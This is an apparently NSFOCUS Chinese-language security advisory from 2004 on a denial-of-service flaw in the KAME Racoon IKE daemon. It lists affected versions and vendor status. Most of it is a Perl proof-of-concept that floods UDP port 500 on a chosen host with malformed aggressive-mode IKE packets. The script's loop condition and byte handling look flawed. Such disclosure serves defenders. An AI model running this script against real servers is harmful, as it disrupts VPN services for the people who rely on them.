安全研究

安全漏洞
KAME Racoon远程IKE消息远程拒绝服务漏洞

发布日期:2004-05-06
更新日期:2004-05-12

受影响系统:
KAME Racoon 20040405
KAME Racoon 20030711
    - FreeBSD 4.9
不受影响系统:
KAME Racoon 20040503
KAME Racoon 20040407b
描述:
BUGTRAQ  ID: 10296

racoon是KAME的IKE守护程序。

KAME Racoon在处理畸形IKE消息时存在问题,远程攻击者可以利用这个漏洞对守护程序进行拒绝服务攻击。

在IKE协议中,有"Security Association Next Payload"的特殊字段保留和另一个由工作组标记的'RESERVED'字段。当客户端使用'Agressive' KEY交换方法,插入伪造信息到这些字段(独立或一前一后),Racoon服务器就会即刻进入无限循环,丢弃所有存在连接,消耗大量系统资源而产生拒绝服务。

<*来源:John Lampe (jwlampe@nessus.org
  
  链接:http://orange.kame.net/dev/query-pr.cgi?pr=555
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

John Lampe (jwlampe@nessus.org)提供了如下测试方法:

#!/usr/bin/perl
use Socket;

$|=1;

$port = 500;

$host = shift || die "Need an IP";

$outer1 = "\xFF\x00\xFE\x01\xFD\x02\xFC\x03\x00\x00\x00\x00\x00\x00\x00\x00\x01
\x10\x04\x00\x00\x00\x00\x00\x00\x00\x01\x7B";

$outer2 =
"\x00\x80\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x74\x01\x01\x00\x01\x03
\x00\x00\x24\x01\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02\x80\x04\x00\x02\x80
\x03\xFD\xE9\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x20\xC4\x9B\x03\x00\x00\x24\x02
\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02\x80\x04\x00\x02\x80\x03\xFD\xE9\x80
\x0B\x00\x01\x00\x0C\x00\x04\x00\x20\xC4\x9B\x00\x00\x00\x24\x03\x01\x00\x00\x80
\x01\x00\x05\x80\x02\x00\x02\x80\x04\x00\x02\x80\x03\xFD\xE9\x80\x0B\x00\x01\x00
\x0C\x00\x04\x00\x20\xC4\x9B\x0A\x00\x00\x88\x00\x01\x02\x03\x04\x05\x06\x07\x08
\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C
\x1D\x1E\x1F\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30
\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44
\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58
\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C
\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F\x80
\x81\x82\x83\xA4\x00\x00\x56\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C
\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x20
\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x34
\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48
\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52";

$fuzzy1 = 4;          # Security Association Next Payload

$fuzzy2 = 0;          # RESERVED


for ($var1 = $fuzzy1; $var < 15; $var1++) {
    for ($var2 = $fuzzy2; $var2 <= 128; $var2++) {
        $req = $outer1 . $var1 . $var2 . $outer2;
        blast_udp($req);
    }
}



sub blast_udp {
    my $msg = shift;
    print ".";
    $ip = inet_aton($host) or die "no host: $remote";
    $paddr = sockaddr_in($port, $ip);
    $proto = getprotobyname('udp');
    socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!";
    connect(SOCK, $paddr) or die "connect: $!";
    send (SOCK, $msg, 0);
    close (SOCK);
}

建议:
厂商补丁:

KAME
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kame.net/

浏览次数:3216
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障